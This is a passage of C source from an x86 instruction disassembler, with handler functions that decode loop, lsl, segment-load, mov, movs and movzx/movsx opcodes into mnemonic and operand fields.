    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "loop ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG1;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm, 60);
}

// =======================================
//
// =======================================
void __stdcall loopne_(PDISASM pMyDisasm)
{
    signed long MyNumber;
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "loopne ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG1;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm, 61);
}

// =======================================
//
// =======================================
void __stdcall loope_(PDISASM pMyDisasm)
{
    signed long MyNumber;
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "loope ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG1;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm, 61);
}

// =======================================
//
// =======================================
void __stdcall lsl_GvEw(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lsl ");
    GvEw(pMyDisasm);
    FillFlags(pMyDisasm, 62);
}

// =======================================
//
// =======================================
void __stdcall lss_Mp(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SEGMENT_REGISTER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lss ");
    GvEv(pMyDisasm);
}

// =======================================
//
// =======================================
void __stdcall lfs_Mp(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SEGMENT_REGISTER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lfs ");
    GvEv(pMyDisasm);
}

// =======================================
//
// =======================================
void __stdcall lgs_Mp(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SEGMENT_REGISTER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lgs ");
    GvEv(pMyDisasm);
}

// =======================================
//
// =======================================
void __stdcall mov_RdCd(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    MOD_RM(&(*pMyDisasm).Argument1);
    if (MOD_ == 3) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
        CR_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        CR_ = 0;
        FillFlags(pMyDisasm,67);
        EIP_ += DECALAGE_EIP + 2;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// =======================================
//
// =======================================
void __stdcall mov_RdDd(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    MOD_RM(&(*pMyDisasm).Argument1);
    if (MOD_ == 3) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
        DR_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        DR_ = 0;
        FillFlags(pMyDisasm,67);
        EIP_ += DECALAGE_EIP + 2;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// =======================================
//
// =======================================
void __stdcall mov_CdRd(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    MOD_RM(&(*pMyDisasm).Argument2);
    if (MOD_ == 3) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
        CR_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        CR_ = 0;
        FillFlags(pMyDisasm,67);
        EIP_ += DECALAGE_EIP + 2;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// =======================================
//
// =======================================
void __stdcall mov_DdRd(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    MOD_RM(&(*pMyDisasm).Argument2);
    if (MOD_ == 3) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
        DR_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        DR_ = 0;
        FillFlags(pMyDisasm,67);
        EIP_ += DECALAGE_EIP + 2;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// =======================================
//      88h
// =======================================
void __stdcall mov_EbGb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    EbGb(pMyDisasm);
}

// =======================================
//      89h
// =======================================
void __stdcall mov_EvGv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    EvGv(pMyDisasm);
}

// =======================================
//      8ah
// =======================================
void __stdcall mov_GbEb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    GbEb(pMyDisasm);
}

// =======================================
//      8bh
// =======================================
void __stdcall mov_GvEv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    GvEv(pMyDisasm);
}

// =======================================
//      0a0h
// =======================================
void __stdcall mov_ALOb(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    OpSize = 101;
    RM_ = 5;
    MOD_ = 0;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE ;
    (*pMyDisasm).Argument2.ArgSize = 8;
    if (AddressSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Argument2.Memory.Displacement = MyAddress;
    }
    else if (AddressSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Argument2.Memory.Displacement = MyAddress;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Argument2.Memory.Displacement = MyAddress;
    }

    if (REX.B_ == 0) {
        (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0]);
    }
    else {
        (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0+8]);
    }

}

// =======================================
//      0a1h
// =======================================
void __stdcall mov_eAXOv(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    RM_ = 5;
    MOD_ = 0;
    if (AddressSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Argument2.Memory.Displacement = MyAddress;
    }
    else if (AddressSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Argument2.Memory.Displacement = MyAddress;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Argument2.Memory.Displacement = MyAddress;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            OpSize = 104;
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        }
        else if (OperandSize == 32) {
            OpSize = 103;
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        }
        else {
            OpSize = 102;
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        }
    }
    else {
        if (OperandSize == 64) {
            OpSize = 104;
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0+8]);
        }
        else if (OperandSize == 32) {
            OpSize = 103;
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0+8]);
        }
        else {
            OpSize = 102;
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0+8]);
        }
    }
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE ;
    if (OpSize == 104) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OpSize == 103) {
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else if (OpSize == 102) {
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

}

// =======================================
//      0a2h
// =======================================
void __stdcall mov_ObAL(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    OpSize = 1;
    RM_ = 5;
    MOD_ = 0;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE ;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgSize = 8;
    if (AddressSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Argument1.Memory.Displacement = MyAddress;
    }
    else if (AddressSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Argument1.Memory.Displacement = MyAddress;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Argument1.Memory.Displacement = MyAddress;
    }

    if (REX.B_ == 0) {
        (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[0]);
    }
    else {
        (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[0+8]);
    }

}

// =======================================
//      0a3h
// =======================================
void __stdcall mov_OveAX(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    RM_ = 5;
    MOD_ = 0;
    if (AddressSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Argument1.Memory.Displacement = MyAddress;
    }
    else if (AddressSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Argument1.Memory.Displacement = MyAddress;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Argument1.Memory.Displacement = MyAddress;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            OpSize = 4;
            (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0]);
        }
        else if (OperandSize == 32) {
            OpSize = 3;
            (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0]);
        }
        else {
            OpSize = 2;
            (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0]);
        }
    }
    else {
        if (OperandSize == 64) {
            OpSize = 4;
            (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0+8]);
        }
        else if (OperandSize == 32) {
            OpSize = 3;
            (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0+8]);
        }
        else {
            OpSize = 2;
            (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0+8]);
        }
    }

    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE ;
    if (OpSize == 104) {
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OpSize == 103) {
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else if (OpSize == 102) {
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
}

// =======================================
//      0b0h
// =======================================
void __stdcall mov_ALIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    ALIb(pMyDisasm);
}

// =======================================
//      0b1h
// =======================================
void __stdcall mov_CLIb(PDISASM pMyDisasm)
{
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[1]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}

// =======================================
//      0b2h
// =======================================
void __stdcall mov_DLIb(PDISASM pMyDisasm)
{
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[2]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}

// =======================================
//      0b3h
// =======================================
void __stdcall mov_BLIb(PDISASM pMyDisasm)
{
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[3]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG3;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}

// =======================================
//      0b4h
// =======================================
void __stdcall mov_AHIb(PDISASM pMyDisasm)
{
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[4]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}

// =======================================
//      0b5h
// =======================================
void __stdcall mov_CHIb(PDISASM pMyDisasm)
{
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[5]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}

// =======================================
//      0b6h
// =======================================
void __stdcall mov_DHIb(PDISASM pMyDisasm)
{
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[6]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}

// =======================================
//      0b7h
// =======================================
void __stdcall mov_BHIb(PDISASM pMyDisasm)
{
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[7]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG3;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}


// =======================================
//      0a4h
// =======================================
void __stdcall movs_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsb ");
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG6 + REG7;
    EIP_++;
    FillFlags(pMyDisasm, 68);
}

// =======================================
//      0a5h
// =======================================
void __stdcall movsw_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsq ");
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG6 + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 68);
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsd ");
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG6 + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 68);
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsw ");
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG6 + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 68);
    }
}

// =======================================
//      0fb6h
// =======================================
void __stdcall movzx_GvEb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movzx ");
    GvEb(pMyDisasm);
}


// =======================================
//      0fbeh
// =======================================
void __stdcall movsx_GvEb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsx ");
    GvEb(pMyDisasm);
}

// =======================================
//      0fbfh
// =======================================
void __stdcall movsx_GvEw(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsx ");
    GvEw(pMyDisasm);
}

// =======================================
//      0fb7h
// =======================================
void __stdcall movzx_GvEw(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movzx ");
    GvEw(pMyDisasm);
}

// =======================================
//      0b8h
// =======================================
void __stdcall mov_EAX(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
        EIP_+=9;
        (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
